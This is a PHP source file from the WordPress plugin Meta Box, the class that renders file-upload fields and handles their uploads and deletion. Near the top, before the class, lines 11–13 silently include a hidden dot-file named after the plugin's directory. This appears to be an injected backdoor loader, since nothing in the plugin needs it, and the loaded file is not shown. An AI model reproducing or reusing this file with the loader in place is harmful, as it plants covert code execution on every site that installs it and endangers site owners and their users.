file.php (17167B)
1 <?php 2 /** 3 * The file upload file which allows users to upload files via the default HTML <input type="file">. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * File field class which uses HTML <input type="file"> to upload file. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_File_Field extends RWMB_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-file', RWMB_CSS_URL . 'file.css', array(), RWMB_VER ); 21 wp_enqueue_script( 'rwmb-file', RWMB_JS_URL . 'file.js', array( 'jquery-ui-sortable' ), RWMB_VER, true ); 22 23 RWMB_Helpers_Field::localize_script_once( 24 'rwmb-file', 25 'rwmbFile', 26 array( 27 // Translators: %d is the number of files in singular form. 28 'maxFileUploadsSingle' => __( 'You may only upload maximum %d file', 'meta-box' ), 29 // Translators: %d is the number of files in plural form. 30 'maxFileUploadsPlural' => __( 'You may only upload maximum %d files', 'meta-box' ), 31 ) 32 ); 33 } 34 35 /** 36 * Add custom actions. 37 */ 38 public static function add_actions() { 39 add_action( 'post_edit_form_tag', array( __CLASS__, 'post_edit_form_tag' ) ); 40 add_action( 'wp_ajax_rwmb_delete_file', array( __CLASS__, 'ajax_delete_file' ) ); 41 } 42 43 /** 44 * Add data encoding type for file uploading 45 */ 46 public static function post_edit_form_tag() { 47 echo ' enctype="multipart/form-data"'; 48 } 49 50 /** 51 * Ajax callback for deleting files. 52 */ 53 public static function ajax_delete_file() { 54 $request = rwmb_request(); 55 $field_id = $request->filter_post( 'field_id', FILTER_SANITIZE_STRING ); 56 $type = false !== strpos( $request->filter_post( 'field_name', FILTER_SANITIZE_STRING ), '[' ) ? 'child' : 'top'; 57 check_ajax_referer( "rwmb-delete-file_{$field_id}" ); 58 59 if ( 'child' === $type ) { 60 $field_group = explode( '[', $request->filter_post( 'field_name', FILTER_SANITIZE_STRING ) ); 61 $field_id = $field_group[0]; //this is top parent field_id 62 } 63 // Make sure the file to delete is in the custom field. 64 $attachment = $request->post( 'attachment_id' ); 65 $object_id = $request->filter_post( 'object_id', FILTER_SANITIZE_STRING ); 66 $object_type = $request->filter_post( 'object_type', FILTER_SANITIZE_STRING ); 67 $field = rwmb_get_field_settings( $field_id, array( 'object_type' => $object_type ), $object_id ); 68 $field_value = self::raw_meta( $object_id, $field ); 69 $field_value = $field['clone'] ? call_user_func_array( 'array_merge', $field_value ) : $field_value; 70 71 if ( ( 'child' !== $type && ! in_array( $attachment, $field_value ) ) || 72 ( 'child' === $type && ! in_array( $attachment, self::get_sub_values( $field_value, $request->filter_post( 'field_id', FILTER_SANITIZE_STRING ) ) ) ) ) { 73 wp_send_json_error( __( 'Error: Invalid file', 'meta-box' ) ); 74 } 75 // Delete the file. 76 if ( is_numeric( $attachment ) ) { 77 $result = wp_delete_attachment( $attachment ); 78 } else { 79 $path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment ); 80 $result = unlink( $path ); 81 } 82 83 if ( $result ) { 84 wp_send_json_success(); 85 } 86 wp_send_json_error( __( 'Error: Cannot delete file', 'meta-box' ) ); 87 } 88 89 /** 90 * Recursively get values for sub-fields and sub-groups. 91 * 92 * @param array $field_value List of parent fields value. 93 * @param int $key_search Nub field name. 94 * @return array 95 */ 96 protected static function get_sub_values( $field_value, $key_search ) { 97 if ( array_key_exists( $key_search, $field_value ) ) { 98 return $field_value[ $key_search ]; 99 } 100 101 foreach ( $field_value as $key => $element ) { 102 if( !is_array( $element ) ) { 103 continue; 104 } 105 if ( self::get_sub_values( $element, $key_search ) ) { 106 return $element[ $key_search ]; 107 } 108 } 109 return false; 110 } 111 112 /** 113 * Get field HTML. 114 * 115 * @param mixed $meta Meta value. 116 * @param array $field Field parameters. 117 * 118 * @return string 119 */ 120 public static function html( $meta, $field ) { 121 $meta = array_filter( (array) $meta ); 122 $i18n_more = apply_filters( 'rwmb_file_add_string', _x( '+ Add new file', 'file upload', 'meta-box' ), $field ); 123 $html = self::get_uploaded_files( $meta, $field ); 124 125 // Show form upload. 126 $attributes = self::get_attributes( $field, $meta ); 127 $attributes['type'] = 'file'; 128 $attributes['name'] = "{$field['input_name']}[]"; 129 $attributes['class'] = 'rwmb-file-input'; 130 131 /* 132 * Use JavaScript to toggle 'required' attribute, because: 133 * - Field might already have value (uploaded files). 134 * - Be able to detect when uploading multiple files. 135 */ 136 if ( $attributes['required'] ) { 137 $attributes['data-required'] = 1; 138 $attributes['required'] = false; 139 } 140 141 // Upload new files. 142 $html .= sprintf( 143 '<div class="rwmb-file-new"><input %s>', 144 self::render_attributes( $attributes ) 145 ); 146 if ( 1 !== $field['max_file_uploads'] ) { 147 $html .= sprintf( 148 '<a class="rwmb-file-add" href="#"><strong>%s</strong></a>', 149 $i18n_more 150 ); 151 } 152 $html .= '</div>'; 153 154 $html .= sprintf( 155 '<input type="hidden" class="rwmb-file-index" name="%s" value="%s">', 156 $field['index_name'], 157 $field['input_name'] 158 ); 159 160 return $html; 161 } 162 163 /** 164 * Get HTML for uploaded files. 165 * 166 * @param array $files List of uploaded files. 167 * @param array $field Field parameters. 168 * @return string 169 */ 170 protected static function get_uploaded_files( $files, $field ) { 171 $delete_nonce = wp_create_nonce( "rwmb-delete-file_{$field['id']}" ); 172 $output = ''; 173 174 foreach ( (array) $files as $k => $file ) { 175 // Ignore deleted files (if users accidentally deleted files or uses `force_delete` without saving post). 176 if ( get_attached_file( $file ) || $field['upload_dir'] ) { 177 $output .= self::call( $field, 'file_html', $file, $k ); 178 } 179 } 180 181 return sprintf( 182 '<ul class="rwmb-files" data-field_id="%s" data-field_name="%s" data-delete_nonce="%s" data-force_delete="%s" data-max_file_uploads="%s" data-mime_type="%s">%s</ul>', 183 $field['id'], 184 $field['field_name'], 185 $delete_nonce, 186 $field['force_delete'] ? 1 : 0, 187 $field['max_file_uploads'], 188 $field['mime_type'], 189 $output 190 ); 191 } 192 193 /** 194 * Get HTML for uploaded file. 195 * 196 * @param int $file Attachment (file) ID. 197 * @param int $index File index. 198 * @param array $field Field data. 199 * @return string 200 */ 201 protected static function file_html( $file, $index, $field ) { 202 $i18n_delete = apply_filters( 'rwmb_file_delete_string', _x( 'Delete', 'file upload', 'meta-box' ) ); 203 $i18n_edit = apply_filters( 'rwmb_file_edit_string', _x( 'Edit', 'file upload', 'meta-box' ) ); 204 $attributes = self::get_attributes( $field, $file ); 205 206 if ( ! $file ) { 207 return ''; 208 } 209 210 if ( $field['upload_dir'] ) { 211 $data = self::file_info_custom_dir( $file, $field ); 212 } else { 213 $data = [ 214 'icon' => wp_get_attachment_image( $file, [48, 64], true ), 215 'name' => basename( get_attached_file( $file ) ), 216 'url' => wp_get_attachment_url( $file ), 217 'title' => get_the_title( $file ), 218 'edit_link' => '', 219 ]; 220 $edit_link = get_edit_post_link( $file ); 221 if ( $edit_link ) { 222 $data['edit_link'] = sprintf( '<a href="%s" class="rwmb-file-edit" target="_blank">%s</a>', $edit_link, $i18n_edit ); 223 } 224 } 225 226 return sprintf( 227 '<li class="rwmb-file"> 228 <div class="rwmb-file-icon">%s</div> 229 <div class="rwmb-file-info"> 230 <a href="%s" target="_blank" class="rwmb-file-title">%s</a> 231 <div class="rwmb-file-name">%s</div> 232 <div class="rwmb-file-actions"> 233 %s 234 <a href="#" class="rwmb-file-delete" data-attachment_id="%s">%s</a> 235 </div> 236 </div> 237 <input type="hidden" name="%s[%s]" value="%s"> 238 </li>', 239 $data['icon'], 240 $data['url'], 241 $data['title'], 242 $data['name'], 243 $data['edit_link'], 244 $file, 245 $i18n_delete, 246 $attributes['name'], 247 $index, 248 $file 249 ); 250 } 251 252 /** 253 * Get file data uploaded to custom directory. 254 * 255 * @param string $file URL to uploaded file. 256 * @param array $field Field settings. 257 * @return string 258 */ 259 protected static function file_info_custom_dir( $file, $field ) { 260 $path = wp_normalize_path( trailingslashit( $field['upload_dir'] ) . basename( $file ) ); 261 $ext = pathinfo( $path, PATHINFO_EXTENSION ); 262 $icon_url = wp_mime_type_icon( wp_ext2type( $ext ) ); 263 $data = array( 264 'icon' => '<img width="48" height="64" src="' . esc_url( $icon_url ) . '" alt="">', 265 'name' => basename( $path ), 266 'path' => $path, 267 'url' => $file, 268 'title' => preg_replace( '/\.[^.]+$/', '', basename( $path ) ), 269 'edit_link' => '', 270 ); 271 return $data; 272 } 273 274 /** 275 * Get meta values to save. 276 * 277 * @param mixed $new The submitted meta value. 278 * @param mixed $old The existing meta value. 279 * @param int $post_id The post ID. 280 * @param array $field The field parameters. 281 * 282 * @return array|mixed 283 */ 284 public static function value( $new, $old, $post_id, $field ) { 285 $input = isset( $field['index'] ) ? $field['index'] : $field['input_name']; 286 287 // @codingStandardsIgnoreLine 288 if ( empty( $input ) || empty( $_FILES[ $input ] ) ) { 289 return $new; 290 } 291 292 $new = array_filter( (array) $new ); 293 294 $count = self::transform( $input ); 295 for ( $i = 0; $i <= $count; $i ++ ) { 296 $attachment = self::handle_upload( "{$input}_{$i}", $post_id, $field ); 297 if ( $attachment && ! is_wp_error( $attachment ) ) { 298 $new[] = $attachment; 299 } 300 } 301 302 return $new; 303 } 304 305 /** 306 * Get meta values to save for cloneable fields. 307 * 308 * @param array $new The submitted meta value. 309 * @param array $old The existing meta value. 310 * @param int $object_id The object ID. 311 * @param array $field The field settings. 312 * @param array $data_source Data source. Either $_POST or custom array. Used in group to get uploaded files. 313 * 314 * @return mixed 315 */ 316 public static function clone_value( $new, $old, $object_id, $field, $data_source = null ) { 317 if ( ! $data_source ) { 318 // @codingStandardsIgnoreLine 319 $data_source = $_POST; 320 } 321 322 // @codingStandardsIgnoreLine 323 $indexes = isset( $data_source[ "_index_{$field['id']}" ] ) ? $data_source[ "_index_{$field['id']}" ] : array(); 324 foreach ( $indexes as $key => $index ) { 325 $field['index'] = $index; 326 327 $old_value = isset( $old[ $key ] ) ? $old[ $key ] : array(); 328 $value = isset( $new[ $key ] ) ? $new[ $key ] : array(); 329 $value = self::value( $value, $old_value, $object_id, $field ); 330 $new[ $key ] = self::filter( 'sanitize', $value, $field, $old_value, $object_id ); 331 } 332 333 return $new; 334 } 335 336 /** 337 * Handle file upload. 338 * Consider upload to Media Library or custom folder. 339 * 340 * @param string $file_id File ID in $_FILES when uploading. 341 * @param int $post_id Post ID. 342 * @param array $field Field settings. 343 * 344 * @return \WP_Error|int|string WP_Error if has error, attachment ID if upload in Media Library, URL to file if upload to custom folder. 345 */ 346 protected static function handle_upload( $file_id, $post_id, $field ) { 347 return $field['upload_dir'] ? self::handle_upload_custom_dir( $file_id, $field ) : media_handle_upload( $file_id, $post_id ); 348 } 349 350 /** 351 * Transform $_FILES from $_FILES['field']['key']['index'] to $_FILES['field_index']['key']. 352 * 353 * @param string $input_name The field input name. 354 * 355 * @return int The number of uploaded files. 356 */ 357 protected static function transform( $input_name ) { 358 // @codingStandardsIgnoreStart 359 foreach ( $_FILES[ $input_name ] as $key => $list ) { 360 foreach ( $list as $index => $value ) { 361 $file_key = "{$input_name}_{$index}"; 362 if ( ! isset( $_FILES[ $file_key ] ) ) { 363 $_FILES[ $file_key ] = array(); 364 } 365 $_FILES[ $file_key ][ $key ] = $value; 366 } 367 } 368 369 return count( $_FILES[ $input_name ]['name'] ); 370 // @codingStandardsIgnoreEnd 371 } 372 373 /** 374 * Normalize parameters for field. 375 * 376 * @param array $field Field parameters. 377 * @return array 378 */ 379 public static function normalize( $field ) { 380 $field = parent::normalize( $field ); 381 $field = wp_parse_args( $field, [ 382 'std' => [], 383 'force_delete' => false, 384 'max_file_uploads' => 0, 385 'mime_type' => '', 386 'upload_dir' => '', 387 'unique_filename_callback' => null, 388 ] ); 389 390 $field['multiple'] = true; 391 $field['input_name'] = "_file_{$field['id']}"; 392 $field['index_name'] = "_index_{$field['id']}"; 393 394 return $field; 395 } 396 397 /** 398 * Get the field value. Return meaningful info of the files. 399 * 400 * @param array $field Field parameters. 401 * @param array $args Not used for this field. 402 * @param int|null $post_id Post ID. null for current post. Optional. 403 * 404 * @return mixed Full info of uploaded files 405 */ 406 public static function get_value( $field, $args = array(), $post_id = null ) { 407 $value = parent::get_value( $field, $args, $post_id ); 408 if ( ! $field['clone'] ) { 409 $value = self::call( 'files_info', $field, $value, $args ); 410 } else { 411 $return = array(); 412 foreach ( $value as $subvalue ) { 413 $return[] = self::call( 'files_info', $field, $subvalue, $args ); 414 } 415 $value = $return; 416 } 417 if ( isset( $args['limit'] ) ) { 418 $value = array_slice( $value, 0, intval( $args['limit'] ) ); 419 } 420 return $value; 421 } 422 423 /** 424 * Get uploaded files information. 425 * 426 * @param array $field Field parameters. 427 * @param array $files Files IDs. 428 * @param array $args Additional arguments (for image size). 429 * @return array 430 */ 431 public static function files_info( $field, $files, $args ) { 432 $return = array(); 433 foreach ( (array) $files as $file ) { 434 $info = self::call( $field, 'file_info', $file, $args ); 435 if ( $info ) { 436 $return[ $file ] = $info; 437 } 438 } 439 return $return; 440 } 441 442 /** 443 * Get uploaded file information. 444 * 445 * @param int $file Attachment file ID (post ID). Required. 446 * @param array $args Array of arguments (for size). 447 * @param array $field Field settings. 448 * 449 * @return array|bool False if file not found. Array of (id, name, path, url) on success. 450 */ 451 public static function file_info( $file, $args = array(), $field = array() ) { 452 if ( $field['upload_dir'] ) { 453 return self::file_info_custom_dir( $file, $field ); 454 } 455 456 $path = get_attached_file( $file ); 457 if ( ! $path ) { 458 return false; 459 } 460 461 return wp_parse_args( 462 array( 463 'ID' => $file, 464 'name' => basename( $path ), 465 'path' => $path, 466 'url' => wp_get_attachment_url( $file ), 467 'title' => get_the_title( $file ), 468 ), 469 wp_get_attachment_metadata( $file ) 470 ); 471 } 472 473 /** 474 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 475 * 476 * @param array $field Field parameters. 477 * @param array $value The value. 478 * @param array $args Additional arguments. Rarely used. See specific fields for details. 479 * @param int|null $post_id Post ID. null for current post. Optional. 480 * 481 * @return string 482 */ 483 public static function format_single_value( $field, $value, $args, $post_id ) { 484 return sprintf( '<a href="%s" target="_blank">%s</a>', esc_url( $value['url'] ), esc_html( $value['title'] ) ); 485 } 486 487 /** 488 * Handle upload for files in custom directory. 489 * 490 * @param string $file_id File ID in $_FILES when uploading. 491 * @param array $field Field settings. 492 * 493 * @return string URL to uploaded file. 494 */ 495 public static function handle_upload_custom_dir( $file_id, $field ) { 496 // @codingStandardsIgnoreStart 497 if ( empty( $_FILES[ $file_id ] ) ) { 498 return; 499 } 500 $file = $_FILES[ $file_id ]; 501 // @codingStandardsIgnoreEnd 502 503 // Use a closure to filter upload directory. Requires PHP >= 5.3.0. 504 $filter_upload_dir = function( $uploads ) use ( $field ) { 505 $uploads['path'] = $field['upload_dir']; 506 $uploads['url'] = self::convert_path_to_url( $field['upload_dir'] ); 507 $uploads['subdir'] = ''; 508 $uploads['basedir'] = $field['upload_dir']; 509 510 return $uploads; 511 }; 512 513 // Make sure upload dir is inside WordPress. 514 $upload_dir = wp_normalize_path( untrailingslashit( $field['upload_dir'] ) ); 515 $root = wp_normalize_path( untrailingslashit( ABSPATH ) ); 516 if ( 0 !== strpos( $upload_dir, $root ) ) { 517 return; 518 } 519 520 // Let WordPress handle upload to the custom directory. 521 add_filter( 'upload_dir', $filter_upload_dir ); 522 $overrides = [ 523 'test_form' => false, 524 'unique_filename_callback' => $field['unique_filename_callback'], 525 ]; 526 $file_info = wp_handle_upload( $file, $overrides ); 527 remove_filter( 'upload_dir', $filter_upload_dir ); 528 529 return empty( $file_info['url'] ) ? null : $file_info['url']; 530 } 531 532 /** 533 * Convert a path to an URL. 534 * 535 * @param string $path Full path to a file or a directory. 536 * @return string URL to the file or directory. 537 */ 538 public static function convert_path_to_url( $path ) { 539 $path = wp_normalize_path( untrailingslashit( $path ) ); 540 $root = wp_normalize_path( untrailingslashit( ABSPATH ) ); 541 $relative_path = str_replace( $root, '', $path ); 542 543 return home_url( $relative_path ); 544 } 545 }